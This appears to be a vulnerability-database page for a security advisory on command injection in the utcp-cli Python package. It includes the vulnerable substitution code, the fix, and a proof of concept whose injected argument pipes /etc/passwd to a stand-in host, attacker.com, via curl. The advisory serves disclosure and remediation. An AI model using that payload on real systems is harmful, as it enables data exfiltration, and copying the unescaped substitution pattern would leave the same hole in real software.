GHSA-33P6-5JXP-P3X4

Vulnerability from github – Published: 2026-05-14 20:56 – Updated: 2026-05-15 23:46
VLAI
Summary
utcp-cli Vulnerable to Command Injection via Unsanitized Argument Substitution in CLI Communication Protocol
Details

Summary

The _substitute_utcp_args method in cli_communication_protocol.py inserts user-controlled tool_args values directly into shell command strings without any sanitization or escaping. These commands are then executed via /bin/bash -c (Unix) or powershell.exe -Command (Windows), allowing an attacker to inject arbitrary shell commands.

Affected File

plugins/communication_protocols/cli/src/utcp_cli/cli_communication_protocol.py

Vulnerable Code

def replace_placeholder(match):
    arg_name = match.group(1)
    if arg_name in tool_args:
        return str(tool_args[arg_name])  # No escaping applied

The substituted command is then embedded directly into a shell script:

script_lines.append(f'{var_name}=$({substituted_command} 2>&1)')

And executed via:

shell_cmd = ['/bin/bash', '-c', script]

Proof of Concept

Given a tool defined as:

{"command": "python script.py --input UTCP_ARG_filename_UTCP_END"}

Calling with:

tool_args = {"filename": "data.csv; curl http://attacker.com/$(cat /etc/passwd | base64)"}

Produces and executes:

CMD_0_OUTPUT=$(python script.py --input data.csv; curl http://attacker.com/$(cat /etc/passwd | base64) 2>&1)

This results in full Remote Code Execution on the host system.

Patched

Fixed in utcp-cli 1.1.2. _substitute_utcp_args now shell-quotes every substituted value: shlex.quote on Unix, a PowerShell single-quoted literal on Windows. Each UTCP_ARG_..._UTCP_END placeholder therefore expands to exactly one shell token, blocking metacharacter injection (;, |, &, backticks, $(), newlines).

Behavior change: tools that relied on a single placeholder splitting into multiple shell tokens (e.g. UTCP_ARG_flags_UTCP_END -> --verbose --debug) must now use one placeholder per intended argument.

Mitigation

Upgrade to utcp-cli >= 1.1.2. There is no workaround in earlier versions short of refusing all attacker-controlled tool_args.

Credit

Reported by @ZeroXJacks.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.1.1"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "utcp-cli"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45369"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-14T20:56:01Z",
    "nvd_published_at": "2026-05-14T21:16:48Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nThe `_substitute_utcp_args` method in `cli_communication_protocol.py` inserts user-controlled `tool_args` values directly into shell command strings without any sanitization or escaping. These commands are then executed via `/bin/bash -c` (Unix) or `powershell.exe -Command` (Windows), allowing an attacker to inject arbitrary shell commands.\n\n## Affected File\n\n`plugins/communication_protocols/cli/src/utcp_cli/cli_communication_protocol.py`\n\n## Vulnerable Code\n\n```python\ndef replace_placeholder(match):\n    arg_name = match.group(1)\n    if arg_name in tool_args:\n        return str(tool_args[arg_name])  # No escaping applied\n```\n\nThe substituted command is then embedded directly into a shell script:\n\n```python\nscript_lines.append(f\u0027{var_name}=$({substituted_command} 2\u003e\u00261)\u0027)\n```\n\nAnd executed via:\n\n```python\nshell_cmd = [\u0027/bin/bash\u0027, \u0027-c\u0027, script]\n```\n\n## Proof of Concept\n\nGiven a tool defined as:\n```json\n{\"command\": \"python script.py --input UTCP_ARG_filename_UTCP_END\"}\n```\n\nCalling with:\n```python\ntool_args = {\"filename\": \"data.csv; curl http://attacker.com/$(cat /etc/passwd | base64)\"}\n```\n\nProduces and executes:\n```bash\nCMD_0_OUTPUT=$(python script.py --input data.csv; curl http://attacker.com/$(cat /etc/passwd | base64) 2\u003e\u00261)\n```\n\nThis results in full Remote Code Execution on the host system.\n\n## Patched\n\nFixed in `utcp-cli` 1.1.2. `_substitute_utcp_args` now shell-quotes every substituted value: `shlex.quote` on Unix, a PowerShell single-quoted literal on Windows. Each `UTCP_ARG_..._UTCP_END` placeholder therefore expands to exactly one shell token, blocking metacharacter injection (`;`, `|`, `\u0026`, backticks, `$()`, newlines).\n\n**Behavior change:** tools that relied on a single placeholder splitting into multiple shell tokens (e.g. `UTCP_ARG_flags_UTCP_END` -\u003e `--verbose --debug`) must now use one placeholder per intended argument.\n\n## Mitigation\n\nUpgrade to `utcp-cli \u003e= 1.1.2`. There is no workaround in earlier versions short of refusing all attacker-controlled `tool_args`.\n\n## Credit\n\nReported by @ZeroXJacks.",
  "id": "GHSA-33p6-5jxp-p3x4",
  "modified": "2026-05-15T23:46:56Z",
  "published": "2026-05-14T20:56:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/universal-tool-calling-protocol/python-utcp/security/advisories/GHSA-33p6-5jxp-p3x4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45369"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/universal-tool-calling-protocol/python-utcp"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "utcp-cli Vulnerable to Command Injection via Unsanitized Argument Substitution in CLI Communication Protocol"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…